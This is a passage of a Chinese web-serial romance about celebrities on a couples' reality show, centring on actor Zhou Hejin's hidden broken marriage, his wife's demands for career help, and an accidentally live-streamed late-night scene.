度假区的气候宜人,他们是晚上才到了目的地,这边的风吹过来都带着几分沁人之意。 节目组定了两栋别墅,别墅当然比不上许愿和盛景炎的度假别墅,但这栋别墅设计的很有些地方特色,偶尔住一住很有些野趣。 “各位嘉宾都看到了,我们目前只给你们订了两栋别墅,需要你们分成两组分开住,三天后再重新进行分配房子。” “有没有特别想跟谁一组住一栋别墅的,有意的话现在可以提出来。” 宋玥导演比他们到的都早,此刻开口的时候还看着各组面上的表情。 宋明远看向林悠羽,林悠羽似乎在愣神没反应过来,宋明远也怕有人开口直接抢了跟许愿盛景炎一起住的资格,赶紧开口道:“宋导,悠羽很喜欢许总,能不能把我们安排到一起住?悠羽来参加综艺前就说过很崇敬许总,拜托给个机会。” 弹幕有些人其实心里明白,说什么林悠羽崇拜许愿,林悠羽真的有意的话就用不到宋明远开口了,明摆着宋明远想跟许愿和盛景炎搞好关系所以才故意的想要接近许愿和盛景炎的。 宋明远这娱乐圈的资本地位是怎么来的宋明远自己心里最清楚。 宋明远现在看到不到弹幕和评论,不过就算看到了宋明远也不在乎,因为他现在只在乎许愿和盛景炎,想跟他们搞好关系,至于那些无知的网友他毫不在意。 当一个人到达一定的高度就不会跟那些蝼蚁一般见识,宋明远现在就是如此,他觉得自己跟那些人不是一个档次的。 宋玥没有立刻答应,倒是看向许愿询问:“许总怎么看?” 许愿笑了下:“谢谢林老师的喜欢,不过你们也知道我偶像是周鹤瑾老师,我和周鹤瑾老师这么多年终于又遇到了,拜托各位也给我个机会让我和阿炎能近距离接触下两位周老师。” 宋明远只能面上带着笑道:“理解,完全理解。” 不理解又能怎么样呢,难道还指望许愿给他面子?想都不用想。 宋玥导演笑道:“周鹤瑾老师您同意跟您的小仙鹤住一栋别墅吗。” 小仙鹤是周鹤瑾的粉丝名字。 周鹤瑾点头:“我的荣幸。” 周媛媛自然没意见,跟许愿盛景炎住一起,这真是好处多多。 “瑾哥,跟我们住一起你绝对不亏,起码一定不会饿到你。”许愿说的认真。 宋玥导演忍俊不禁:“许总,这么说你是打算亲自给周鹤瑾老师下厨做饭吗?” 这话才问出口盛景炎挑了挑眉,此刻也等着许愿的回答。 许愿理直气壮完全不怂:“那当然不是我亲自下厨,有盛景炎啊,他做饭。” 盛景炎笑意温柔,毫不在意自己在许愿这里成了厨子,反倒是自然而然的握住许愿的手,紧紧的握着。 弹幕评论区笑喷了。 “行,许总你厉害,让自己老公给自己偶像做饭,天了噜,我这辈子都不敢想啊,我老公的话那怕不是要把我爱豆毒死!” “楼上醒醒,你老公跟盛总那能一样吗!” 弹幕评论区闹哄哄的,房子也分好了。 第一组宋明远林悠羽跟第三组沈从杜佳阮住一栋别墅。 第二组周鹤瑾周媛媛跟第四组许愿盛景炎住一起,暂时没有异议,不过估计有异议也会憋着,毕竟许愿可不是谁的面子都给的,至少宋明远就不在许愿给面子的行列中,无非是看他年纪大了给他面子罢了。 许愿和盛景炎这里仍然是盛景炎提行李 ,而许愿睡了一路现在醒了跟在盛景炎身边看着心情很好的样子。 “跟自己偶像一起住就这么开心?”盛景炎有点酸的开口。 许愿一听就知道盛景炎又在抽疯,他抽疯,许愿想抽他。 许愿瞪他:“你到底哪里来的醋劲儿啊。” 盛景炎又在叹息。 “还不是你先叫了周鹤瑾‘瑾哥’,我都还没听你交过阿炎哥哥呢,有点难过罢了。” 说着难过,可看着一点也不像难过的模样。 “我没喊过?”许愿觉得这人睁眼说瞎话。 她何止喊过哥哥,更过分的不也喊过了? 盛景炎此刻看着倒是心情很好的样子,手握成拳放到唇角轻咳一声:“没有在众目睽睽之下,没有当着网友观众的面喊我哥哥。” 许愿死亡凝视,盛景炎完全没有被吓到:“我都叫你姐姐了,你不能这么双标,礼尚往来你也该叫我哥哥。” “我叫你哥哥,你叫我姐姐?各论各的?”许愿真想敲开盛景炎的头看看脑子里都装了些什么乱七八糟的,不然怎么总说胡话呢。 盛景炎倒是不在意,甚至脸皮厚道:“各论各的,更刺激了。” 行,你去编雷雨吧!真服了。 许愿此刻都不想理他了。 两人这边吵吵闹闹的,周鹤瑾和周媛媛两人之间很安静,行李是周鹤瑾在推的,周媛媛就跟在周鹤瑾身边,笑容甜甜的,仿佛完全不在意周鹤瑾的冷脸一般。 直播到这里就结束了,明天才重新开始直播,现在时间不早了也到了他们休息的时间,宋玥导演知道这是第一天不能直接就上来高难度的,总要走一下流程的。 直播关闭了,摄影师退出了周媛媛和周鹤瑾的房间。 见摄影师离开,房间内也没有其他摄像头周媛媛才算是完全放松了,脸上的笑意也没了。 她走到周鹤瑾身边,见他还在整理行李,直接一把打乱:“老公,你跟我说说话呀。” 周鹤瑾看了眼被弄乱的行李箱抬头冷淡的看她一眼。 “真是好凶啊。”周媛媛伸出手放到周鹤瑾胸口去扯他的衬衫衣扣。 第838章 自重 “你自重。”周鹤瑾抓住她的手一把甩开,然后后退几步,完全不想给周媛媛近身的机会。 “周鹤瑾,我们之间孩子都生了你现在让我自重?文晏都已经五岁了,有什么可自重的,你什么没见过什么没做过?现在在我面前装什么?” 周媛媛一改在镜头面前的温柔甜美,整个人都带着骨子糜烂的性感劲儿,和她那清纯的外表实在是不太搭。 周鹤瑾看着面前的女人思绪也回到了多年前。 周鹤瑾从自己成年开始就知道自己喜欢什么类型的女孩子,他知道自己有些社恐有点大男子主义,其实他以为的大男子主义就是对自己的爱人有点掌控欲,所以他想找的是一个温柔居家的妻子。 第一次见到周媛媛是在一部湾湾的偶像剧里面,周媛媛饰演了女配角,那个女配角清纯漂亮且温婉居家,她的相貌叶氏那种浓淡相宜的,不会过分艳丽也不会过分清淡,他只看了一眼就想跟周媛媛认识。 后来周鹤瑾拍摄那部武侠剧的时候知道女主角还没有被定下,亲自向导演推荐了周媛媛,两人这才一起拍了那部定情之作,拍完后两人就确定了关系。 从恋爱到结婚都很快,周鹤瑾的人生就好像是按了加速键,他也很快当了父亲。 他心里面周媛媛是清纯的干净的温婉的优雅的……他甚至觉得自己的妻子可以用世界上所有的褒义词来形容。 可他到底还是不够了解周媛媛。 周媛媛是湾湾的女星,周媛媛十几岁的时候就已经开始谈恋爱跟人去酒店,她甚至一次谈过多个男朋友,最后被人曝光翻车,也因为那些男友而怀过孕,却不知道孩子是谁的,那群人没有一个肯负责,后来周媛媛逼不得已打掉孩子。 即便如此周媛媛也依然我行我素玩的疯,谈恋爱的时候劈腿,分手了还给人当做小三去挑衅对方的女友,将人挤走后又没了兴趣把男人甩了再寻找新的刺激新的目标。 但凡周鹤瑾在交往前结婚前打听过周媛媛在湾湾的风评也不会被蒙蔽。 周媛媛在湾湾曾被人嘲讽人尽可夫就差没有骂一句女表。 名声全都毁了,那些男人对周媛媛只是玩玩而已,根本没当真,因为没人会真的娶回家一个浪货,周媛媛可以当情人但决不能当妻子。 因为他们都嫌脏。 这是湾湾的多数男性达成的共识,而另一部分愿意娶周媛媛的则是周媛媛瞧不上的。 名声烂成这样,周媛媛也没想结婚了,就打算得过且过找刺激的继续玩。 可谁曾想周鹤瑾向她抛出橄榄枝邀请她一起出演最爆红的武侠剧女主角,周媛媛怎么可能拒绝。 拍戏过程中她很明显感觉到周鹤瑾对自己很有感觉,但她不清楚周鹤瑾是对自己有感觉还是对武侠剧的女主角有感觉,后来才知道周鹤瑾觉得自己长了一张温婉居家的脸,所以想娶她。 在湾湾被人避之不及,周鹤瑾却自己送上门来。 周媛媛仔细查过了周鹤瑾的家庭条件,再看周鹤瑾的身高相貌,颜值身材身高都是顶配,周媛媛简直太馋了,其实就算周鹤瑾不向她告白她看到周鹤瑾一样也会递给他房卡酒店一约。 向周鹤瑾这样的极品她宁愿花钱约。 可越是接触就越明白周鹤瑾喜欢她干净清纯。 干净?清纯?这跟她有哪门子关系?八竿子打不着。 但周鹤瑾喜欢,她就必须要这样演戏,她是演员当然能演出来,让周鹤瑾认为她就是这种性格的女人。 周鹤瑾果然上钩了,甚至很快求婚,给了她内娱一场很盛大的婚礼。 周媛媛很满意,因为湾湾那边的男人也好女人也好都怒斥没有人肯娶周媛媛,可现在周媛媛不仅结婚了而且还嫁的很好,嫁的男人是那时候的当红流量,各方面都是顶配,就算是周媛媛所有前任都没有一个能比得过周鹤瑾的。 周媛媛知道周鹤瑾的基因好,所以也想利用周鹤瑾的基因生个漂亮宝宝,那段时间为了备孕周媛媛没敢乱搞,只会跟周鹤瑾发生关系。 就像周媛媛说的周鹤瑾各方面都是顶配,那方面自然也是,所以周媛媛婚后很快就怀孕,一年后诞下周文晏。 那段时间周鹤瑾很开心,身边有爱人,爱人为自己诞下血脉,他当时都已经打算好了,未来要一直守护周媛媛,一直爱她疼她。 可没想到的是周媛媛才出了月子就跟其它男人约了。 周鹤瑾出门拍戏,周媛媛在家里休息就将情夫约在了两人的婚房别墅,在他们两人的卧室内胡闹。 那天周鹤瑾同组的女角色发烧加上导演知道他才刚有了儿子特别人性化的给他放了两天假让他有时间陪下儿子。 周鹤瑾立刻应了,他回家路上买了周媛媛爱吃的点心,还特地将她一直念叨的爱马仕新款包买到手打算送给她。 万万没想到,惊喜没送出去,周媛媛给他带来了大惊吓。 周媛媛给家中的保姆放了假,孩子在客厅的睡篮里面嚎啕大哭不知是尿了还是饿了,哭的那么大声却没有人理会。 周鹤瑾抱着孩子才发现是尿了。 换好尿不湿,周鹤瑾去找保姆,没找到保姆,路过自己房间的时候听到了欢爱的声音,那是自己妻子的声音。 周鹤瑾当时猜的是周媛媛坐月子一个月,他们一个月没有亲热,她这样也算是正常的。 可下一秒周鹤瑾就听到了男人的闷哼声,到这一步周鹤瑾都还在以为她是在看这类片子,直到那个男人嘴里喊出了“媛媛”二字,周鹤瑾才猛然意识到不是在看片子。 而是他的妻子背着他跟其他男人发生关系了。 周鹤瑾抱着周文晏却还要强装镇定的踹开门,两人不堪入目的交叠在一起,入目白花花一片,周媛媛还娇笑着,和在他面前时完全不同,好像是跟她那个温柔的妻子长了同样一张脸的妖艳货色。 第839章 她只是想要资源 周鹤瑾眼神陌生的看着周媛媛,周媛媛也惊呆了。 她没想到周鹤瑾会回来,且让他亲眼看到这一幕,周媛媛又毁又恨,早知道就该跟情人去酒店,而不是贪图刺激在自己家中,在自己和丈夫的床上乱搞。 周媛媛穿好衣服想解释,周鹤瑾冷眼看着她只说了两个字:“离婚。” 他就是这么在意这一切,他觉得恶心,他的妻子这段时间都在演戏,她从来都不是个清纯的女人。 周媛媛好不容易嫁给周鹤瑾,怎么能接受被离婚的结局。 她哭求。周鹤瑾全然不听。 情夫却慢条斯理的穿着衣服,笑呵呵想点根烟,不过看到周鹤瑾怀里的孩子还是没点成。 “周鹤瑾,其实我在湾湾那边听到你说要跟周媛媛这浪货结婚的时候我都以为你疯了。” “在湾湾没人不知道周媛媛多喜欢乱搞,她最厉害的时候脚踩十几艘船,十几个男朋友,简直是娱乐圈内的大乱斗,没有人能比周媛媛私生活更混乱了。” “你说你喜欢谁不好,你喜欢周媛媛,还跟她这种人结婚,她也配嫁人。” “湾湾的都知道周媛媛这种只能玩玩,娶进门你就只能遭受背叛,因为她不可能耐得住寂寞,绝对会偷吃。” “看看,才出月子就迫不及待的联系我胡来了。” 情人毫不在意的看着还在哭求周鹤瑾的女人开口:“当初你但凡去湾湾查过资料也不会被下了降头一样娶她。” 情人对周媛媛是满满的恶意和嫌弃,仿佛周媛媛根本不是才跟自己温存过的女人。 周鹤瑾没想到会得到这种回答,他有些接受不了,低头就看到周媛媛满是泪痕的脸,明明这样清纯的一张脸,怎么会是那种女人呢? 见他还是不信,情人让人查清楚了所有的资料,周鹤瑾终于知道自己的妻子有多厉害。 劈腿,脚踏多条船,知三当三,甚至逼原配流产的事迹都有,桩桩件件都没有冤枉周媛媛,这些确确实实都是她做的,还有照片视频当做证据。 那一瞬间周鹤瑾的天塌了,世界观也崩塌。 情人搞了一波大的,幸灾乐祸的走了。 这个情人曾经也是周媛媛的男友,后来被周媛媛背叛一直记恨在心。 周媛媛这种人凭什么幸福?她不配。 果然周媛媛被拆穿后周鹤瑾执意要离婚,周媛媛好不容易结婚根本不想被赶走,可周鹤瑾决定的事情不是那么简单就能改变的。 周媛媛见软的不行就只能来硬的,她拿周文晏来威胁周鹤瑾。 她说:“周鹤瑾,你不在乎我,难道你也不在乎文晏吗!你现在跟我离婚,等儿子长大后问你为什么跟我离婚你敢说原因吗!如果你撒谎了那一定会被营销号扒出来!你真的愿意让我们儿子知道他的母亲是小三吗!你不为我想也要为他想想!” 周媛媛终于说到了点上。 周鹤瑾没有继续坚持离婚,不过却告知周媛媛必须在周文晏面前装温柔演出母亲的样子,而不是继续无拘无束自由自在的胡来。 周媛媛为了不离婚答应了。 从那之后周媛媛在家绝对是个好母亲,但出了家门那就是到处钓鱼找乐子。 可周媛媛后来试了那么多人还是周鹤瑾最让她舒服,多次勾引周鹤瑾,却都铩羽而归。 为什么周文晏那么黏周鹤瑾而不黏周媛媛,因为小孩子最能感受到对方对自己是善意的还是恶意的,周媛媛对他没有什么情绪好像可有可无的感觉。 周文晏感受到了才会去黏着喜欢自己的父亲。 可周媛媛忍不住了,又是数次勾引周鹤瑾,全都被周鹤瑾一一识破。 周鹤瑾不再爱她就不可能再碰她,他确实嫌脏怕得病。 这次直播的时候周媛媛其实并没有通告,不过是因为周鹤瑾拒绝她所以一气之下晚上去了酒店吊男人跟人睡了一觉,第二天起晚了,所以回到家才晚了。 这也是为什么周鹤瑾看到她后那么冷淡,冷淡到毫不在意的原因了。 现在周媛媛又要故技重施的勾引周鹤瑾,周鹤瑾敏锐的躲过,然后抽出湿巾擦拭着自己的手,根本不想多看她一眼。 “真是无趣啊。” 周媛媛哼笑一声,声音娇媚道:“许愿对你那么好,我是你老婆你是不是也要帮我讨点资源回来。” 她说这话时有点理直气壮仿佛这是自己应得的。 “你想要资源可以自己去找她,别围着我胡言乱语,我不会管你。”周鹤瑾冷着脸警告,然后继续收拾行李箱,完全是不想被打扰的模样。 “周鹤瑾,你这么在意许愿,你是不是喜欢她?” 周媛媛嘲讽:“你不喜欢她为什么还要为她考虑这么多。” 周鹤瑾并未言语,周媛媛将他的行李箱关上,声音有点急促怒道:“别整理了!你说你是不是喜欢许愿?否则你不可能为她做这么多。” “十年前你帮过她,十年后她变得这么漂亮这么有才华,你肯定喜欢肯定想跟她结婚了。” “多巧啊,许愿结了一次婚,你也结了一次婚,没人比你们更般配了。” 周媛媛嘲讽道:“看来你也不算是什么正人君子啊,平日里倒是会装会演。” 周鹤瑾颜色倏然变冷,他可以容忍周媛媛嘲讽自己,但不能接受周媛媛嘲讽许愿在他心里许愿一直都是个孩子,哪怕现在已经到了结婚的年纪可在他眼里还是十年前那个少女。 他会有一点偏爱。 “周媛媛,不要把所有人都想得跟你一样恶心,许愿有自己的未婚夫,他们即将结婚,如果你还有最后的理智就该清楚什么话能说什么话不能说。” 周鹤瑾这话像是警告又像是提醒。 许愿和盛景炎身份摆在这里,周媛媛真想找茬那势必不会有好下场。 周媛媛怎么可能想不到,就是想到了脸色才是惨白一片。 “周鹤瑾,我只是想要点好资源。” “许愿她对你那么好,我早就好奇前几年你的资源怎么来的这么容易,现在才知道你的资源都是许愿给你的。我只是想求点资源!” 第840章 想找许愿要资源 “你是知道这圈子对女艺人有多苛刻的,我已经有太久没有好资源了,没有人找我演女主角,也没有更好的综艺,你也不肯跟我捆绑营销,我已经快四十岁了,你知不知道这有多可怕!” 周媛媛是真的在害怕。 她知晓自己爱玩,所以没想过会跟谁真的一直在一起,丈夫再有名赚再多的钱在她看来那都不是她赚到的,等以后真的离婚,按照她挥霍钱财的力度一定会将存款花光,她需要让自己保持热度,需要让自己有高片酬有好资源,这样周媛媛才能够有安全感。 以往周鹤瑾得了那么多资源周媛媛从未想过原因,但现在周媛媛其实清楚了,周鹤瑾能有那么多资源全都是许愿暗中给的。 否则,按照周鹤瑾那样直的性子在圈子里也不会维护关系,不是拍戏就是陪着周文晏,拍个戏也不在意一番二番还曾经被新晋流量压番的事,更不会经营粉丝,如果没有许愿,周鹤瑾就算运气好接了一部好剧也只会在那段时间内火,过后就不会再有人记得周鹤瑾。 因为他不会营销,不会炒作,否则周鹤瑾就不会在最火的时候跟周媛媛结婚转型。 周鹤瑾能有现在的地位全因为许愿想捧他,如果没有许愿,周鹤瑾拿不到那些资源。 周媛媛见到许愿才明白这个道理,所以她清楚自己如果想要资源想往上爬那就只能去找许愿。 如果是许愿,她只要跟许愿搞好关系 ,许愿说不定会为她定制资源…… 许愿那么喜欢周鹤瑾,没道理不帮她,怎么说她都是周鹤瑾的太太啊。 可万万没想到,他还什么都没有做周鹤瑾这关就过不去。 如果周鹤瑾不开这个口,许愿更不会帮她。 “周鹤瑾,我没想让你做什么,我只是想多拍点戏,你让许愿帮帮我,给我点资源!” 周媛媛几乎是厉声低喝,可即便这样的语气,其中都带着明显的恳求。 她这两年片约很少,多的是来邀约他们夫妻两人一起上综艺的,她当然想去,可周鹤瑾不喜欢跟她同台,周鹤瑾不去那她也就没了价值,请她的人越来越少,就算真的有综艺请她,也会让她谈论自己刚获奖的丈夫。 为了热度周媛媛不停提起两人当初如何相爱,提起他们生活的日常。 可他们之间哪有那么多幸福日常,很多都是她编的,更多的都是他们刚结婚新婚的事,只有那些事才更加真实。 只有提到周鹤瑾她才会有热度,她就一次又一次的提起周鹤瑾。 这次受邀跟周鹤瑾参加爱人的浪漫旅行她本以为周鹤瑾根本不会答应,可没想到周鹤瑾跟宋玥关系很好且欠下了宋玥人情,这才同意跟她一起参加这次的综艺。 参加综艺还让她遇到了许愿。 她本就想着讨好许愿要点资源,哪曾想许愿是自己丈夫的粉丝,那不好好利用下,岂不是显得她太蠢了? 主意已经打到许愿身上了,周鹤瑾却不同意,她不仅觉得难堪更是在此刻恨上了周鹤瑾,觉得他是死脑筋。 “周鹤瑾,你别逼我。” 周媛媛咬牙:“我们之间迟早是会离婚的,我知道你不喜欢我,也看不上我,等文晏懂事了你肯定会跟我分开,如果你不帮我我是一定会跟你争夺抚养权的,你别逼我把事情闹大。” “你确实有许愿给你当后盾,但你别忘了我是文晏的生母,我们之间闹矛盾,文晏是最受伤的那一个,你那么在意文晏那么疼他……” 周媛媛说到此处眼睛都是红的。 周媛媛盯着他:“我没有多贪心,我只想跟许愿交好要一点资源,我不逼你去找她,只要你不从中阻拦就够了。” 她心里想的是,只要周鹤瑾不出来拦着,许愿一定会给她面子的。 周鹤瑾看着她一时竟然久久说不出话,他想拒绝,周媛媛像是已经预判他的反应,大声道:“周鹤瑾你不要太过分,我已经没想让你帮我求许愿要资源了,我只让你不要在我们之间乱说,这么简单的事情难道你也做不到吗!” “你的黑料太多,在内陆迟早会被封杀,她去投资你的戏未来很有可能会不能上映,毕竟你不能保证你的那些情人会不会在未来某一天背叛你曝光你的那些照片或者视频。” “内陆那些制片人和导演很少考虑邀请你就是因为你的黑料太多,迟早会被人揭露,他们只会赔的血本无归,他们不能去冒险。” 周鹤瑾语气平淡,却是告诉周媛媛没有资源的具体原因。 因为周媛媛是个定制炸弹,她的很多黑料都是真的,一旦曝光绝对会遭到上面的封杀不能解封,那后面就只能重新找人来参演她的角色。 这对一个剧组来说那几乎是致命的打击。 “可是许愿不缺钱!许愿那么多钱!她可以捐给那么多人钱,她那么多专利你知不知道她又多富,给我定制一部剧怎么了?就算那部剧无法上映许愿也不缺那个钱,剧组的薪酬她也一定会发放的!” “她是许愿啊,你懂吗,她是许愿!” 是许愿,那就没有许愿做不到的事情。 周媛媛是这样想的,很多人都是这样想的,很多人都认为许愿无所不能。 周鹤瑾此刻甚至觉得自己没办法跟周媛媛交流,好像完全无法沟通。 “周媛媛你该清醒些。”周鹤瑾沉声提醒。 “好了我不想跟你说了你最好闭嘴!我们之间的事情暂且不论,我去找许愿求资源这件事你不能插手!周鹤瑾,我是你的妻子,你不能真的赶尽杀绝,我还要找一条活路,如果你执意要逼我……我真的会带文晏回我那里!” “我在内陆活不下去我就一定会带我儿子走!你最好想清楚后果再考虑要不要拦我。” 周媛媛阴沉着脸说出的话都是冷意。 话落,周媛媛不再去看周鹤瑾,自己躺到床上休息,完全不管周鹤瑾。 他们是夫妻,又来录制这种爱人旅行的节目根本不能分开睡,不然一定会被人拍到再被人怀疑两人已经离婚,黑热搜已经够多了,不能再被人怀疑。 她就要睡在床上,如果周鹤瑾嫌弃那就别睡,随便他是不是睡在沙发或者睡在地上,她都已经不在意了。 第841章 清风小学 周媛媛用被子蒙盖住自己的脸,心里想的都是怎么跟许愿搞好关系。 周鹤瑾沉默许久,手机响起来,他立刻打开手机,因为录制节目险些就忘记给周文晏视频电话了。 周鹤瑾看了眼睡在床上的周媛媛,微微敛眉离开房间后才接通的电话。 这个时间一楼的大厅并没有人,他也不用避讳,毕竟正式开始录制节目还是在明天,今天录制的只能算是先导片了。 镜头中的周文晏在周鹤瑾母亲的家中靠着窗堆积木,地上摆满了各种零件,他已经堆出了一座小房子。 现在见手机中有了周鹤瑾的脸,周文晏放下手中的积木凑到镜头面前,脸上都是笑意,眼睛又亮又圆。 其实周鹤瑾小时候就是那种成绩好但并不好好听课的类型,但聪明是真的聪明,虽然他后期因为完了太久到高中,底子就那样补课也补不上去,所以后期才会有些敬佩成绩好的人。 而周文晏呢,大抵是继承了周家其他人的基因,相貌好人也聪明,虽然现在才刚刚五岁但已经能将一整本唐诗都背过了,周鹤瑾给他买了不少宝宝英文光碟,周文晏都已经背过了,就连现在这满地的积木,周文晏也能堆成漂亮的城堡。 此刻周文晏就对着镜头,看到周鹤瑾眼睛就有点红:“爸爸!” “晏晏怎么了?”周鹤瑾看到他心情就好了很多,只是忆起周媛媛说的要把周媛媛带走的事情就心里发堵。 “呜呜,想爸爸,今天奶奶做了爸爸最爱吃的杭椒肉,好辣好辣,如果爸爸在的话一定会很开心的。”说到这里周文晏皱了皱鼻子,眼圈又红了。 周文晏对周鹤瑾感情很深。 周媛媛对周文晏是真的没感情,即便是身上掉下来的一块肉,也只是觉得自己结婚生子是正常流程,至于爱孩子为孩子牺牲付出?那谁来爱她谁来为她付出? 周媛媛是这样想的也是这样做的,否则也不会刚出月子就跟人乱搞。 所以那段时间周鹤瑾一年都没有接戏,一直陪着周文晏,等到周文晏一岁会说爸爸后就带着周文晏一起去剧组拍戏,同行的不仅有助理还有月嫂保姆,倒不是来照顾周鹤瑾的,全都是来照顾周文晏的。 那时候剧组的人都知道周鹤瑾有多疼他的儿子。 娱乐圈那么多炒作好爸爸人设的,其实没有人能做到周鹤瑾这一步,只有周鹤瑾才是真正的疼儿子,却从不营销。 周文晏这么依赖他离不开他,就是因为他给周文晏的爱,周文晏都能感受的到。 周鹤瑾对他的爱如果有一百分,那他表现出的大概会超出一百分,就算周文晏再迟钝也是能感觉到的。 “好可惜爸爸不在,不然爸爸就能吃掉奶奶炒的那盘杭椒肉了。” 周鹤瑾脸上看不到方才面对周媛媛时的冷意,只有对周文晏的温柔。 周鹤瑾又哄了几句,周文晏便开始叽叽喳喳的讲起今天奶奶带他去了植物园看了很漂亮的花,他回家画了下来,他讲今天学了新的单词和诗词,然后背个周鹤瑾听,完全就是个可爱听话的乖宝宝。 周鹤瑾一直哄着他,给他讲了睡前故事,周文晏才哼哼唧唧的睡过去,睡过去前还小声嘟囔:“爸爸你要去多久啊,等你回家我就会长得好高好高了……” 周鹤瑾有些无奈的轻笑一声,只觉得自己的孩子越来越可爱了。 盛景炎下楼就看到周鹤瑾在看着手机似乎在跟谁视频,周文晏睡着了,现在是周妈妈,周妈妈跟他寒暄几句提醒他多添几件衣服,母子二人关系亲密。 等他挂了电话盛景炎才面色平静的开口:“这么晚还没睡?” “家里孩子有点黏人。”这么说着,却一点不觉得孩子黏人有什么不对,眉宇之间都是对周文晏黏他的炫耀。 “小孩儿多大了?”盛景炎问了句。 “快五岁了。” “那应该幼儿园大班该升一年级了。”盛景炎竟然还挺懂,周鹤瑾看他一眼,片刻后才点了下头:“是这样没错。” “你拍戏这么忙的话,推荐你去帝城的‘清风小学’,你应该听说过。”盛景炎提了句。 清风学院不仅有清风小学还有清风初中和清风高中三部分。 在清风小学念书的多是帝城那些家室上乘的,不是什么小家族都能来这里念书的,清风小学的老师也都是专门重金聘请来的,几乎可以说是每个班级学生数量不多,一名老师可以看顾几个学生重点教育关注,小学时期的英文老师就是外教。清风小学的学生是可以直升清风中学的,其它学生想要考入清风中学则需要绝对优异的成绩和较好一些的家室,不然也供不起这里的花销。清风中学的学生可以直升清风高中,而清风高中对学生成绩更加苛刻,多数普通家庭的学生考入清风中学是为了积攒人脉以及清风高中高昂的奖学金。 清风学院可以说是绝对的贵族学院,但因为管理制度完善,其内可以绝对保证不会有校园暴力事件,一经发现不论什么身份都会被直接开除处理,最棒的师资最好的环境最安全的氛围,唯一的缺点是学费高昂且看社会地位。 明星艺人的孩子想进入清风小学,只能找人托关系,圈子里也很少有人开这个口,因为都知道娱乐圈乱。 周鹤瑾很疼周文晏,也想过将孩子送进清风小学念书,但还没有找到能帮忙的人,没想到盛景炎会主动开口。 “你这种经常拍戏的情况,清风小学那边也有应对策略,那边有助教老师,只要你的钱到位他们可以跟你一起去剧组给他上课绝不会让他掉队,当然我还是建议孩子念小学后不要再频繁的带他去剧组耽误课业。” 普通学校的小学可能耽误得起,但清风小学的课业是不同的。 清风小学的进度很快,因为他们不仅要学基本课程还要学习外文,几科外文,贵族社交礼仪、马术、国学、等等 ,所以清风小学缺课影响会比较大。 第842章 好父亲 帝城上流圈子那些二代为什么有些人即便是纨绔但面对镜头却还是那副优雅淡定的模样,让人一看就知道出身不凡,只因他们从幼年时期就接受这种贵族教育。 周鹤瑾顿了下看向他,没有拒绝盛景炎的好意。 “谢谢盛总。” 盛景炎跟周鹤瑾互相加了联系方式,倒是周鹤瑾问道:“这个时间盛总还不休息?” “阿愿要忙点工作,她忙工作的时候有时候会饿,下来给她做点宵夜。” 盛景炎倒是没有避讳周鹤瑾。 今晚段星河打了电话,先是吐槽他们两人在直播间挤在一起秀恩爱,又吐槽盛景炎背着许愿下飞机的事,被许愿嘲他单身狗没有老婆,段星河实在是气的想跟许愿对骂,但这次是有点其他的事找许愿,有两组比较麻烦的数据需要重新算一下然后核对,研究所那边除了段星河和许愿有这能力,其他人都没办法算这串数据,段星河只能给许愿打了电话。 到底是跟研究相关的正事,许愿当然不会真的胡闹,便打开电脑算数据。 盛景炎便下来给她做宵夜,这才看到周鹤瑾跟周文晏和周母通话。 “要一起来点吗?阿愿说不会饿到你这话也不是开玩笑的。”盛景炎扬了下眉问他。 盛景炎这人其实是社交高手,在海外念书的时候周围的人都能跟他打成一片,不分男女都喜欢他那性子,社恐这个词说的是社交恐惧症,但在盛景炎这里就成了社交恐怖分子,跟谁都能聊上一句的类型,让任何人都不会不舒服,甚至会将他看做知己。 盛景炎就是有这种能力,其实说白了就是上位者对下位者的向下兼容所以才会给那些人一种自己跟盛景炎很有共同语言的错觉,事实上能跟上盛景炎思路的真的没几个。 说白了,就看盛景炎愿不愿意跟你做朋友,如果他愿意,哪怕你真的只是街边的乞丐他也能跟你聊到一起。 周鹤瑾没有拒绝盛景炎的好意。 他知道许愿很注重身材管理,虽然他觉得许愿太瘦了想养胖一点,不过真的胖了……许愿大概会生气,所以也没打算做特别油腻的,本来许愿也不爱吃特别油腻的东西。 盛景炎做了一道玉米冬瓜汤。 冬瓜去皮去籽,与玉米一起切成长条,豆芽洗干净备用,但是从盛景炎的刀工就能看得出来他真的是经常下厨的类型,一看就不是新手。 见周鹤瑾站在一旁看着,猜到他心里大概想了什么,盛景炎提了句:“我在国外做过留学生,你应该也知道国外的中餐迎合外国人的口味,并不一定贴合我们国人口味,吃的久了实在不适应就学会了自己的做菜。” 他甚至打趣:“留学生大概没有几个不会自己做菜的,也不是有这方面的天赋,主要是被逼的。” 他当然知道最近网络上总是出现的留学生在外面疯狂调侃自己吃的是猪食的这类视频,可能有一部分夸张了,但有些确实如此,有的人出国留学短短三个月瘦了几十斤也是真事,不过也有人去的地区比较喜欢高热量食物,譬如芝士这类的,去国外后不仅没有瘦反而更胖了。 周鹤瑾自然也知道这个梗笑了笑。 盛景炎起锅加入适量的油,油5分热,放入冬瓜条炒了两分钟后倒入适量清水,烧开。 他找出了一个洗干净砂锅,在砂锅中放入洗净的豆芽和切好的玉米,把刚刚烧开的冬瓜汤倒入砂锅中,盖上盖子等大火烧开后转中小火煮20分钟。 等二十分钟后再少放点盐就可以。 很简单的一道低脂汤,冬瓜热量低,玉米热量也并不高且富含膳食纤维,是很健康的食物。 许愿试过晚上喝汤喝水,第二天早上也会有一点点水肿,不过并不是特别厉害,早上喝杯咖啡或者茶水就消下去了,她体质算是比较好的。 这会儿倒是没人注意到一楼大厅的监控录像亮着灯且正处于直播状态。 起因是工作人员的疏忽以为今晚就要开始直播,好在他们房间内的摄像头都还没有安装,目前只有一楼大厅才有,所以周鹤瑾跟崽崽打电话,以及盛景炎为许愿做夜宵的事全都被直播出去了。 这个时间直播间都炸了,本来今天《爱人的浪漫旅行》节目正式开始直播就不停在上热搜,这会儿晚上也开始播了?他们高低要看看这群人晚上想干什么总不能真有什么节目组的活动吧。 一群人挤进来,才发现大厅根本没人,本想着或许是节目组失误了,谁知道周鹤瑾就出来了。 周鹤瑾再跟周文晏通电话,不过大概是因为距离太远拍不清楚周鹤瑾的手机,但都能感觉到周鹤瑾对周文晏多温柔。 众人都在刷周鹤瑾是好爸爸的时候也有人在问周媛媛为什么没有跟周文晏视频,问的人还不少,正当弹幕还在争吵不休的时候,盛景炎下楼了。 众人就听到盛景炎开口要让周文晏去念清风小学。 懂这含金量的全都在评论和弹幕里面震惊发惊叹号,不懂的也赶紧去浏览器搜索了下,就看到清风小学的各类介绍,更是直呼震惊。 热搜也在此刻被安排上了。 #周鹤瑾周文晏# #清风小学# 